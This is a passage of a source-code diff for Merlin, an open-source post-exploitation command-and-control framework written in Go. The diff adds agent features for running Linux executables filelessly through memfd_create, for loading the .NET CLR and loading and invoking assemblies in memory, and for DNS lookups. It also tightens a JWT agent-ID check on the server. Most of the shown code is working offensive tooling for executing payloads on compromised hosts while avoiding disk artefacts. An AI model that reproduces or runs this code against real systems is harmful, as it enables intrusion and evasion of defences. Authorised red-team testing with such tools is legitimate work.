results.Stderr = fmt.Sprintf("the '%s' assembly is not loaded", args[0]) + cli.Message(cli.WARN, results.Stderr) + return + } + results.Stderr = fmt.Sprint("expected at least 1 arguments for the invokeAssembly function, received %d", len(args)) + cli.Message(cli.WARN, results.Stderr) + return +} + +// listAssemblies enumerates the loaded .NET assemblies and returns them +func listAssemblies() (results jobs.Results) { + results.Stdout = "Loaded Assemblies:\n" + for _, v := range assemblies { + results.Stdout += fmt.Sprintf("%s\n", v.name) + } + cli.Message(cli.SUCCESS, results.Stdout) + return +} diff --git a/pkg/agent/commands/memfd.go b/pkg/agent/commands/memfd.go new file mode 100644 index 00000000..60ab961c --- /dev/null +++ b/pkg/agent/commands/memfd.go @@ -0,0 +1,38 @@ +// +build !linux + +// Merlin is a post-exploitation command and control framework. +// This file is part of Merlin. +// Copyright (C) 2021 Russel Van Tuyl + +// Merlin is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// any later version. + +// Merlin is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with Merlin. If not, see . + +package commands + +import ( + // Standard + "fmt" + "runtime" + + // Merlin + "github.com/Ne0nd0g/merlin/pkg/jobs" +) + +// Memfd places a linux executable file in-memory, executes it, and returns the results +// Uses the linux memfd_create API call to create an anonymous file +// https://man7.org/linux/man-pages/man2/memfd_create.2.html +// http://manpages.ubuntu.com/manpages/bionic/man2/memfd_create.2.html +func Memfd(cmd jobs.Command) (result jobs.Results) { + result.Stderr = fmt.Sprintf("the memfd command is not implemented for the %s operating system", runtime.GOOS) + return +} diff --git a/pkg/agent/commands/memfd_linux.go b/pkg/agent/commands/memfd_linux.go new file mode 100644 index 00000000..ffce0bb9 --- /dev/null +++ b/pkg/agent/commands/memfd_linux.go @@ -0,0 +1,121 @@ +// +build linux + +// Merlin is a post-exploitation command and control framework. +// This file is part of Merlin. +// Copyright (C) 2021 Russel Van Tuyl + +// Merlin is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, either version 3 of the License, or +// any later version. + +// Merlin is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. + +// You should have received a copy of the GNU General Public License +// along with Merlin. If not, see . + +package commands + +import ( + // Standard + "encoding/base64" + "fmt" + "os" + "os/exec" + + // External + "golang.org/x/sys/unix" + + // Merlin + "github.com/Ne0nd0g/merlin/pkg/agent/cli" + "github.com/Ne0nd0g/merlin/pkg/jobs" +) + +// Memfd places a linux executable file in-memory, executes it, and returns the results +// Uses the linux memfd_create API call to create an anonymous file +// https://man7.org/linux/man-pages/man2/memfd_create.2.html +// http://manpages.ubuntu.com/manpages/bionic/man2/memfd_create.2.html +func Memfd(cmd jobs.Command) (result jobs.Results) { + if len(cmd.Args) < 0 { + result.Stderr = fmt.Sprintf("Expected 1 or more arguments for the Memfd command, recieved: %d", len(cmd.Args)) + return + } + // Base64 decode the executable + b, err := base64.StdEncoding.DecodeString(cmd.Args[0]) + if err != nil { + panic(err) + } + + // Create Memory File + fd, err := memfile("", b) + if err != nil { + result.Stderr = fmt.Sprintf("there was an error creating the memfd file:\r\n%s", err) + return + } + + // filepath to our newly created in-memory file descriptor + fp := fmt.Sprintf("/proc/%d/fd/%d", os.Getpid(), fd) + + // create an *os.File, should you need it + // alternatively, pass fd or fp as input to a library. + f := os.NewFile(uintptr(fd), fp) + + defer func() { + if err := f.Close(); err != nil { + result.Stderr += err.Error() + } + }() + + var args []string + if len(cmd.Args) > 1 { + args = cmd.Args[1:] + } + + cli.Message(cli.SUCCESS, fmt.Sprintf("Executing anonymous file from memfd_create with arguments: %s", args)) + command := exec.Command(fp, args...) // #nosec G204 + stdout, stderr := command.CombinedOutput() + if len(stdout) > 0 { + result.Stdout = fmt.Sprintf("%s", stdout) + cli.Message(cli.SUCCESS, fmt.Sprintf("Command output:\r\n\r\n%s", result.Stdout)) + + } + if stderr != nil { + result.Stderr = stderr.Error() + cli.Message(cli.WARN, fmt.Sprintf("There was an error executing the memfd_create command:\n%s", stderr)) + } + + return +} + +// memfile takes a file name used, and the byte slice containing data the file should contain. +// name does not need to be unique, as it's used only for debugging purposes. +// It is up to the caller to close the returned descriptor. +// Function retrieved from https://terinstock.com/post/2018/10/memfd_create-Temporary-in-memory-files-with-Go-and-Linux/ +func memfile(name string, b []byte) (int, error) { + fd, err := unix.MemfdCreate(name, 0) + if err != nil { + return 0, fmt.Errorf("there was an error calling memfd_create():\r\n%s", err) + } + + err = unix.Ftruncate(fd, int64(len(b))) + if err != nil { + return 0, fmt.Errorf("there was an error calling ftruncate():\r\n%s", err) + } + + data, err := unix.Mmap(fd, 0, len(b), unix.PROT_READ|unix.PROT_WRITE, unix.MAP_SHARED) + if err != nil { + return 0, fmt.Errorf("there was an error calling mmap():\r\n%s", err) + } + + copy(data, b) + + err = unix.Munmap(data) + if err != nil { + return 0, fmt.Errorf("there was an error calling munmap():\r\n%s", err) + } + + return fd, nil +} diff --git a/pkg/agent/commands/native.go b/pkg/agent/commands/native.go index 32868271..d9a70054 100644 --- a/pkg/agent/commands/native.go +++ b/pkg/agent/commands/native.go @@ -21,9 +21,11 @@ import ( // Standard "fmt" "io/ioutil" + "net" "os" "path/filepath" "strconv" + "strings" // Internal "github.com/Ne0nd0g/merlin/pkg/agent/cli" @@ -39,13 +41,7 @@ func Native(cmd jobs.Command) jobs.Results { switch cmd.Command { // TODO create a function for each Native Command that returns a string and error and DOES NOT use (a *Agent) - case "ls": - listing, err := list(cmd.Args[0]) - if err != nil { - results.Stderr = fmt.Sprintf("there was an error executing the 'ls' command:\r\n%s", err.Error()) - break - } - results.Stdout = listing + case "cd": err := os.Chdir(cmd.Args[0]) if err != nil { @@ -58,6 +54,15 @@ func Native(cmd jobs.Command) jobs.Results { results.Stdout = fmt.Sprintf("Changed working directory to %s", path) } } + case "ls": + listing, err := list(cmd.Args[0]) + if err != nil { + results.Stderr = fmt.Sprintf("there was an error executing the 'ls' command:\r\n%s", err.Error()) + break + } + results.Stdout = listing + case "nslookup": + results.Stdout, results.Stderr = nslookup(cmd.Args) case "pwd": dir, err := os.Getwd() if err != nil { @@ -106,3 +111,26 @@ func list(path string) (string, error) { } return details, nil } + +// nslookup is used to perform a DNS query using the host's configured resolver +func nslookup(query []string) (string, string) { + var resp string + var stderr string + for _, q := range query { + ip := net.ParseIP(q) + if ip != nil { + r, err := net.LookupAddr(ip.String()) + if err != nil { + stderr += fmt.Sprintf("there was an error calling the net.LookupAddr function for %s:\r\n%s", q, err) + } + resp += fmt.Sprintf("Query: %s, Result: %s\r\n", q, strings.Join(r, " ")) + } else { + r, err := net.LookupHost(q) + if err != nil { + stderr += fmt.Sprintf("there was an error calling the net.LookupHost function for %s:\r\n%s", q, err) + } + resp += fmt.Sprintf("Query: %s, Result: %s\r\n", q, strings.Join(r, " ")) + } + } + return resp, stderr +} diff --git a/pkg/agent/commands/shell_darwin.go b/pkg/agent/commands/shell_darwin.go index d95d1067..35f7e4ae 100644 --- a/pkg/agent/commands/shell_darwin.go +++ b/pkg/agent/commands/shell_darwin.go @@ -19,11 +19,14 @@ package commands -import "os/exec" +import ( + "os/exec" + "strings" +) // shell is used to execute a command on a host using the operating system's default shell func shell(args []string) (stdout string, stderr string) { - cmd := exec.Command("/bin/sh", append([]string{"-c"}, args...)...) // #nosec G204 + cmd := exec.Command("/bin/sh", append([]string{"-c"}, strings.Join(args, " "))...) // #nosec G204 out, err := cmd.CombinedOutput() stdout = string(out) diff --git a/pkg/agent/commands/shell_linux.go b/pkg/agent/commands/shell_linux.go index 6cd6337d..e407b4c3 100644 --- a/pkg/agent/commands/shell_linux.go +++ b/pkg/agent/commands/shell_linux.go @@ -19,11 +19,14 @@ package commands -import "os/exec" +import ( + "os/exec" + "strings" +) // shell is used to execute a command on a host using the operating system's default shell func shell(args []string) (stdout string, stderr string) { - cmd := exec.Command("/bin/sh", append([]string{"-c"}, args...)...) // #nosec G204 + cmd := exec.Command("/bin/sh", append([]string{"-c"}, strings.Join(args, " "))...) // #nosec G204 out, err := cmd.CombinedOutput() stdout = string(out) diff --git a/pkg/agent/core/core.go b/pkg/agent/core/core.go index 9440daab..feb5a69b 100644 --- a/pkg/agent/core/core.go +++ b/pkg/agent/core/core.go @@ -17,6 +17,8 @@ package core +import "sync" + // Global Variables // Verbose indicates if the agent should write messages to STDOUT @@ -27,3 +29,6 @@ var Debug = false // Version is the Merlin Agent's version number var Version = "0.10.0-Beta" + +// Mutex is used to ensure exclusive access to STDOUT & STDERR +var Mutex = &sync.Mutex{} diff --git a/pkg/agent/jobs.go b/pkg/agent/jobs.go index a3543704..350d5fc5 100644 --- a/pkg/agent/jobs.go +++ b/pkg/agent/jobs.go @@ -65,8 +65,12 @@ func executeJob() { } case jobs.MODULE: switch strings.ToLower(job.Payload.(jobs.Command).Command) { + case "clr": + result = commands.CLR(job.Payload.(jobs.Command)) case "createprocess": result = commands.CreateProcess(job.Payload.(jobs.Command)) + case "memfd": + result = commands.Memfd(job.Payload.(jobs.Command)) case "minidump": ft, err := commands.MiniDump(job.Payload.(jobs.Command)) if err != nil { diff --git a/pkg/agents/agents.go b/pkg/agents/agents.go index 76b8828d..64e8af6a 100644 --- a/pkg/agents/agents.go +++ b/pkg/agents/agents.go @@ -24,6 +24,7 @@ import ( "os" "path" "path/filepath" + "strconv" "strings" "time" @@ -137,6 +138,9 @@ func GetEncryptionKey(agentID uuid.UUID) ([]byte, error) { return nil, fmt.Errorf("agent %s does not exist", agentID) } key := Agents[agentID].Secret + if len(key) <= 0 { + return nil, fmt.Errorf("the encryption key for %s is empty", agentID) + } if core.Debug { message("debug", "Leaving agents.GetEncryptionKey function") } @@ -382,3 +386,29 @@ func GetLifetime(agentID uuid.UUID) (time.Duration, error) { return lifetime, nil } + +// SetWaitTime updates an Agent's sleep amount or Wait Time +func SetWaitTime(agentID uuid.UUID, wait string) error { + if isAgent(agentID) { + _, err := time.ParseDuration(wait) + if err != nil { + return fmt.Errorf("there was an error parsing %s to a duration for the Agent's WaitTime:\r\n%s", wait, err) + } + Agents[agentID].WaitTime = wait + return nil + } + return fmt.Errorf("the %s Agent is unknown", agentID.String()) +} + +// SetMaxRetry updates an Agent's MaxRetry limit +func SetMaxRetry(agentID uuid.UUID, retry string) error { + if isAgent(agentID) { + r, err := strconv.Atoi(retry) + if err != nil { + return fmt.Errorf("there was an error converting %s to an integer for Agent %s:\n%s", retry, agentID, err) + } + Agents[agentID].MaxRetry = r + return nil + } + return fmt.Errorf("the %s Agent is unknown", agentID.String()) +} diff --git a/pkg/api/agents/agents.go b/pkg/api/agents/agents.go index d8287f33..e7b591e4 100644 --- a/pkg/api/agents/agents.go +++ b/pkg/api/agents/agents.go @@ -381,6 +381,18 @@ func GetJobsForAgent(agentID uuid.UUID) ([][]string, messages.UserMessage) { return jobsRows, messages.UserMessage{} } +// InvokeAssembly executes an assembly that was previously loaded with the load-assembly command +func InvokeAssembly(agentID uuid.UUID, Args []string) messages.UserMessage { + if len(Args) < 1 { + return messages.ErrorMessage("not enough arguments, the assembly name must be provided") + } + job, err := jobs.Add(agentID, Args[0], Args[1:]) + if err != nil { + return messages.ErrorMessage(err.Error()) + } + return messages.JobMessage(agentID, job) +} + // Kill instructs the agent to quit running func Kill(agentID uuid.UUID, Args []string) messages.UserMessage { if len(Args) > 0 { @@ -393,6 +405,58 @@ func Kill(agentID uuid.UUID, Args []string) messages.UserMessage { return messages.ErrorMessage(fmt.Sprintf("not enough arguments provided for the Agent Kill call: %s", Args)) } +// NSLOOKUP instructs the agent to perform a DNS query on the input +func NSLOOKUP(agentID uuid.UUID, Args []string) messages.UserMessage { + if len(Args) < 1 { + return messages.ErrorMessage("not enough arguments. A query was not provided") + } + job, err := jobs.Add(agentID, "nslookup", Args[1:]) + if err != nil { + return messages.ErrorMessage(err.Error()) + } + return messages.JobMessage(agentID, job) +} + +// ListAssemblies instructs the agent to list all of the .NET assemblies that are currently loaded into the agent's process +// .NET assemblies are loaded with the LoadAssembly call +func ListAssemblies(agentID uuid.UUID) messages.UserMessage { + job, err := jobs.Add(agentID, "list-assemblies", []string{}) + if err != nil { + return messages.ErrorMessage(err.Error()) + } + return messages.JobMessage(agentID, job) +} + +// LoadAssembly reads in a .NET assembly and sends it to the agent so it can be loaded +// into a CLR AppDomain for later execution +func LoadAssembly(agentID uuid.UUID, Args []string) messages.UserMessage { + if len(Args) < 1 { + return messages.ErrorMessage("not enough arguments, an assembly must be provided") + } + _, err := os.Stat(Args[1]) + if err != nil { + return messages.ErrorMessage(fmt.Sprintf("there was an error accessing the assembly:\n%s", err)) + } + job, err := jobs.Add(agentID, Args[0], Args[1:]) + if err != nil { + return messages.ErrorMessage(err.Error()) + } + return messages.JobMessage(agentID, job) +} + +// LoadCLR loads the .NET Common Language Runtime (CLR) into the agent's process +// .NET assemblies can subsequently be loaded with the LoadAssembly call and executed with the InvokeAssembly call +func LoadCLR(agentID uuid.UUID, Args []string) messages.UserMessage { + if len(Args) < 1 { + return messages.ErrorMessage("not enough arguments, a .NET version must be provided") + } + job, err := jobs.Add(agentID, Args[0], Args[1:]) + if err != nil { + return messages.ErrorMessage(err.Error()) + } + return messages.JobMessage(agentID, job) +} + // LS uses native Go to list the directory func LS(agentID uuid.UUID, Args []string) messages.UserMessage { var args []string @@ -406,6 +470,18 @@ func LS(agentID uuid.UUID, Args []string) messages.UserMessage { return messages.JobMessage(agentID, job) } +// MEMFD run a linux executable from memory +func MEMFD(agentID uuid.UUID, Args []string) messages.UserMessage { + if len(Args) < 1 { + return messages.ErrorMessage("not enough arguments. An executable was not provided") + } + job, err := jobs.Add(agentID, "memfd", Args[1:]) + if err != nil { + return messages.ErrorMessage(err.Error()) + } + return messages.JobMessage(agentID, job) +} + // PWD is used to print the Agent's current working directory func PWD(agentID uuid.UUID, Args []string) messages.UserMessage { job, err := jobs.Add(agentID, "pwd", Args) @@ -461,6 +537,11 @@ func SetKillDate(agentID uuid.UUID, Args []string) messages.UserMessage { // SetMaxRetry configures the amount of times an Agent will try to checkin before it quits func SetMaxRetry(agentID uuid.UUID, Args []string) messages.UserMessage { if len(Args) > 2 { + // Need to set the Sleep time on the server first to calculate JWT lifetime + err := agents.SetMaxRetry(agentID, Args[2]) + if err != nil { + return messages.ErrorMessage(err.Error()) + } job, err := jobs.Add(agentID, "maxretry", Args[1:]) if err != nil { return messages.ErrorMessage(err.Error()) @@ -485,6 +566,11 @@ func SetPadding(agentID uuid.UUID, Args []string) messages.UserMessage { // SetSleep configures the Agent's sleep time between checkins func SetSleep(agentID uuid.UUID, Args []string) messages.UserMessage { if len(Args) > 2 { + // Need to set the Sleep time on the server first to calculate JWT lifetime + err := agents.SetWaitTime(agentID, Args[2]) + if err != nil { + return messages.ErrorMessage(err.Error()) + } job, err := jobs.Add(agentID, "sleep", Args[1:]) if err != nil { return messages.ErrorMessage(err.Error()) diff --git a/pkg/cli/cli.go b/pkg/cli/cli.go index 16f551b6..c00ebdd0 100644 --- a/pkg/cli/cli.go +++ b/pkg/cli/cli.go @@ -370,15 +370,27 @@ func Shell() { } else { displayTable([]string{}, rows) } + case "invoke-assembly": + MessageChannel <- agentAPI.InvokeAssembly(shellAgent, cmd) case "jobs": jobs, message := agentAPI.GetJobsForAgent(shellAgent) if message.Message != "" { MessageChannel <- message } displayJobTable(jobs) + case "memfd": + MessageChannel <- agentAPI.MEMFD(shellAgent, cmd) + case "nslookup": + MessageChannel <- agentAPI.NSLOOKUP(shellAgent, cmd) case "kill": menuSetMain() MessageChannel <- agentAPI.Kill(shellAgent, cmd) + case "list-assemblies": + MessageChannel <- agentAPI.ListAssemblies(shellAgent) + case "load-assembly": + MessageChannel <- agentAPI.LoadAssembly(shellAgent, cmd) + case "load-clr": + MessageChannel <- agentAPI.LoadCLR(shellAgent, cmd) case "ls": MessageChannel <- agentAPI.LS(shellAgent, cmd) case "main": @@ -959,10 +971,15 @@ func getCompleter(completer string) *readline.PrefixCompleter { ), readline.PcItem("help"), readline.PcItem("info"), + readline.PcItem("invoke-assembly"), readline.PcItem("jobs"), readline.PcItem("kill"), + readline.PcItem("list-assemblies"), + readline.PcItem("load-assembly"), readline.PcItem("ls"), + readline.PcItem("memfd"), readline.PcItem("pwd"), + readline.PcItem("run"), readline.PcItem("main"), readline.PcItem("shell"), readline.PcItem("set", @@ -1145,10 +1162,15 @@ func menuHelpAgent() { {"execute-pe", "Execute a Windows PE (EXE)", "execute-pe [, , ]"}, {"execute-shellcode", "Execute shellcode", "self, remote , RtlCreateUserThread "}, {"info", "Display all information about the agent", ""}, + {"invoke-assembly", "Invoke, or execute, a .NET assembly that was previously loaded into the agent's process", ", "}, {"jobs", "Display all active jobs for the agent", ""}, {"kill", "Instruct the agent to die or quit", ""}, + {"load-assembly", "Load a .NET assembly into the agent's process", " []"}, + {"list-assemblies", "List the .NET assemblies that are loaded into the agent's process", ""}, {"ls", "List directory contents", "ls /etc OR ls C:\\\\Users OR ls C:/Users"}, {"main", "Return to the main menu", ""}, + {"memfd", "Execute Linux file in memory", " []"}, + {"nslookup", "DNS query on host or ip", "nslookup 8.8.8.8"}, {"pwd", "Display the current working directory", "pwd"}, {"run", "Execute a program directly, without using a shell", "run ping -c 3 8.8.8.8"}, {"set", "Set the value for one of the agent's options", "ja3, killdate, maxretry, padding, skew, sleep"}, diff --git a/pkg/handlers/http.go b/pkg/handlers/http.go index 6eb2e28f..ab27afdb 100644 --- a/pkg/handlers/http.go +++ b/pkg/handlers/http.go @@ -197,6 +197,14 @@ func (ctx *HTTPContext) AgentHTTP(w http.ResponseWriter, r *http.Request) { message("note", fmt.Sprintf("Received %s message, decrypted JWE with interface PSK", messages.String(k.Type))) } + // Verify JWT ID matches Merlin message ID + if agentID != k.ID || k.ID == uuid.Nil { + message("warn", fmt.Sprintf("Recieved a message with JWT Agent ID of %s but a Merlin "+ + "message ID of %s. Returning 404", agentID, k.ID)) + w.WriteHeader(404) + return + } + messagePayloadBytes := new(bytes.Buffer) // Allowed unauthenticated message types w/ PSK signed JWT and PSK encrypted JWT @@ -314,6 +322,14 @@ func (ctx *HTTPContext) AgentHTTP(w http.ResponseWriter, r *http.Request) { message("info", fmt.Sprintf("Received %s message from %s at %s", messages.String(j.Type), j.ID, time.Now().UTC().Format(time.RFC3339))) } + // Verify JWT ID matches Merlin message ID + if agentID != j.ID || j.ID == uuid.Nil { + message("warn", fmt.Sprintf("Recieved a message with JWT Agent ID of %s but a Merlin "+ + "message ID of %s. Returning 404", agentID, j.ID)) + w.WriteHeader(404) + return + } + // If both an agentID and error were returned, then the claims were likely bad and the agent needs to re-authenticate if (errValidate != nil) && (agentID != uuid.Nil) { message("warn", fmt.Sprintf("Agent %s connected with expired JWT. Instructing agent to re-authenticate", agentID)) diff --git a/pkg/merlin.go b/pkg/merlin.go index a3f2c0fe..86495247 100644 --- a/pkg/merlin.go +++ b/pkg/merlin.go @@ -18,7 +18,7 @@ package merlin // Version is a constant variable containing the version number for the Merlin package -const Version = "0.10.0-beta" +const Version = "0.11.0-beta" // Build is the unique number based off the git commit in which it is compiled against var Build = "nonRelease" diff --git a/pkg/server/jobs/jobs.go b/pkg/server/jobs/jobs.go index 16621f0e..2e0241b8 100644 --- a/pkg/server/jobs/jobs.go +++ b/pkg/server/jobs/jobs.go @@ -80,7 +80,6 @@ func Add(agentID uuid.UUID, jobType string, jobArgs []string) (string, error) { job.Payload = merlinJob.Command{ Command: "agentInfo", } - case "shellcode": job.Type = merlinJob.SHELLCODE payload := merlinJob.Shellcode{ @@ -113,12 +112,60 @@ func Add(agentID uuid.UUID, jobType string, jobArgs []string) (string, error) { Command: jobType, } job.Payload = p + case "invoke-assembly": + if len(jobArgs) < 1 { + return "", fmt.Errorf("exected 1 argument for the invoke-assembly command, recieved: %+v", jobArgs) + } + job.Type = merlinJob.MODULE + job.Payload = merlinJob.Command{ + Command: "clr", + Args: append([]string{jobType}, jobArgs...), + } case "kill": job.Type = merlinJob.CONTROL p := merlinJob.Command{ Command: jobArgs[0], // TODO, this should be in jobType position } job.Payload = p + case "list-assemblies": + job.Type = merlinJob.MODULE + job.Payload = merlinJob.Command{ + Command: "clr", + Args: []string{"list-assemblies"}, + } + case "load-assembly": + if len(jobArgs) < 1 { + return "", fmt.Errorf("exected 1 argument for the load-assembly command, recieved: %+v", jobArgs) + } + job.Type = merlinJob.MODULE + assembly, err := ioutil.ReadFile(jobArgs[0]) + if err != nil { + return "", fmt.Errorf("there was an error reading the assembly at %s:\n%s", jobArgs[0], err) + } + fileHash := sha256.New() + _, err = io.WriteString(fileHash, string(assembly)) + if err != nil { + message("warn", fmt.Sprintf("there was an error generating a file hash:\n%s", err)) + } + agent.Log(fmt.Sprintf("loading assembly from %s with a SHA256: %s to agent", jobArgs[0], fileHash.Sum(nil))) + + name := filepath.Base(jobArgs[0]) + if len(jobArgs) > 1 { + name = jobArgs[1] + } + job.Payload = merlinJob.Command{ + Command: "clr", + Args: []string{jobType, base64.StdEncoding.EncodeToString([]byte(assembly)), name}, + } + case "load-clr": + if len(jobArgs) < 1 { + return "", fmt.Errorf("exected 1 argument for the load-clr command, recieved: %+v", jobArgs) + } + job.Type = merlinJob.MODULE + job.Payload = merlinJob.Command{ + Command: "clr", + Args: append([]string{jobType}, jobArgs...), + } case "ls": job.Type = merlinJob.NATIVE p := merlinJob.Command{ @@ -163,6 +210,31 @@ func Add(agentID uuid.UUID, jobType string, jobArgs []string) (string, error) { p.Args = jobArgs[1:] } job.Payload = p + case "nslookup": + job.Type = merlinJob.NATIVE + job.Payload = merlinJob.Command{ + Command: jobType, + Args: jobArgs, + } + case "memfd": + if len(jobArgs) < 1 { + return "", fmt.Errorf("expected 1 argument for the memfd command, recieved %d", len(jobArgs)) + } + executable, err := ioutil.ReadFile(jobArgs[0]) + if err != nil { + return "", fmt.Errorf("there was an error reading %s: %v", jobArgs[0], err) + } + fileHash := sha256.New() + _, err = io.WriteString(fileHash, string(executable)) + if err != nil { + message("warn", fmt.Sprintf("There was an error generating file hash:\r\n%s", err.Error())) + } + b := base64.StdEncoding.EncodeToString(executable) + job.Type = merlinJob.MODULE + job.Payload = merlinJob.Command{ + Command: jobType, + Args: append([]string{b}, jobArgs[1:]...), + } case "padding": job.Type = merlinJob.CONTROL p := merlinJob.Command{ diff --git a/pkg/util/jwt.go b/pkg/util/jwt.go index 872752d1..dffe9219 100644 --- a/pkg/util/jwt.go +++ b/pkg/util/jwt.go @@ -134,7 +134,13 @@ func ValidateJWT(agentJWT string, key []byte) (uuid.UUID, error) { message("debug", fmt.Sprintf("there was an error getting the agent's wait time:\r\n%s", errWait.Error())) } } + if core.Debug { + message("debug", fmt.Sprintf("Agent wait time: %s", AgentWaitTime)) + } if AgentWaitTime == "" { + if core.Verbose { + message("note", "The returned Agent wait time was empty, using default 60s") + } AgentWaitTime = "60s" } @@ -150,6 +156,7 @@ func ValidateJWT(agentJWT string, key []byte) (uuid.UUID, error) { if errValidate != nil { if core.Verbose { message("warn", fmt.Sprintf("The JWT claims were not valid for %s", agentID)) + message("note", fmt.Sprintf("Agent Wait Time: %s, Time now: %s", AgentWaitTime, time.Now())) message("note", fmt.Sprintf("JWT Claim Expiry: %s", claims.Expiry.Time())) message("note", fmt.Sprintf("JWT Claim Issued: %s", claims.IssuedAt.Time())) } diff --git a/test/testServer/main.go b/test/testServer/main.go index 1c43e2d5..5913f7d3 100644 --- a/test/testServer/main.go +++ b/test/testServer/main.go @@ -66,6 +66,7 @@ func (ts *TestServer) handler(w http.ResponseWriter, r *http.Request) { // Make sure the message has a JWT token := r.Header.Get("Authorization") if token == "" { + fmt.Println("the request did not contain an Authorization header") w.WriteHeader(404) return } @@ -97,6 +98,7 @@ func (ts *TestServer) handler(w http.ResponseWriter, r *http.Request) { key := hashedKey[:] agentID, errValidate = validateJWT(strings.Split(token, " ")[1], key) if errValidate != nil { + fmt.Printf("there was an error validating the JWT:\n%s\n", errValidate) w.WriteHeader(404) return } @@ -104,8 +106,10 @@ func (ts *TestServer) handler(w http.ResponseWriter, r *http.Request) { key, errKey := agents.GetEncryptionKey(agentID) if errKey != nil { - w.WriteHeader(404) - return + fmt.Printf("there was an error getting the Agent's decryption key:\n%s\n", errKey) + // Use the default key when the agent isn't registered + k := sha256.Sum256([]byte("test")) + key = k[:] } // Decrypt JWE